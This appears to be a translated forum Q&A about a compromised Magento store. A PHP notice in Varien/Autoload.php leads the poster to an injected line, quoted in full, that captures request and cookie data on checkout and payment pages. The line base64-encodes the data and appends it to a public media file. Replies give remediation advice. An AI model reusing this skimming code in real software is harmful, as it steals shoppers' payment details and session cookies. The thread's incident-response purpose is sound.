Mage PHP 注意:未定义索引:REQUEST_URI in /htdocs/lib/Varien/Autoload.php on line 1

Mage PHP Notice: Undefined index: REQUEST_URI in /htdocs/lib/Varien/Autoload.php on line 1

从今天早上开始,我收到了以下信息 PHP 在 运行 Magento cronjob 之后注意:

Undefined index: REQUEST_URI in /htdocs/lib/Varien/Autoload.php on line 1

我没有修改任何 mage 文件..这怎么可能?

编辑: 现在我编辑了 Autoload.php 以首先检查是否设置了 REQUEST_URI。

原文:

<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"]))

新:

<?php if(isset($_SERVER["REQUEST_URI"]) && preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"]))

编辑 2015 年 4 月 30 日:

阅读@volkan 和@b.enoit.be 评论后,我立即用 Magento 的原始页面替换了指定页面,但该行确实不存在!

以下是 Autoload.php

中存在的恶意行
<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"])){@file_put_contents(realpath("./")."/media/catalog/product/cache_catalogs", @base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?>

我也检查过:

但是.. 有两个新的管理员用户,他们的名字不详:

两个用户都已删除。 该网站也容易受到入店行窃攻击(已在最新的安全补丁中解决)

我们目前正忙于安装最新的安全补丁。

这似乎是最近的一个问题:

100,000 web shops open to compromise as attackers exploit Magento bug Magento Shoplift Bug Tester v1.0

感谢所有用户的帮助。

看来您的页面已被入侵,请将文件替换为原始文件,并安装 magento 的安全补丁。检查后端是否有一些新的管理员用户,以及模块 Magpleasure_Filesystem

也检查一下 /js/index.php /index.php

这绝对是一个受损的文件。

如果其他人遇到同样的问题,media/catalog/product/cache_catalogs 文件也应该被删除,因为它包含敏感数据(来自结帐或支付页面的请求和 cookie 数据)并且可以公开访问(在 media/文件夹)。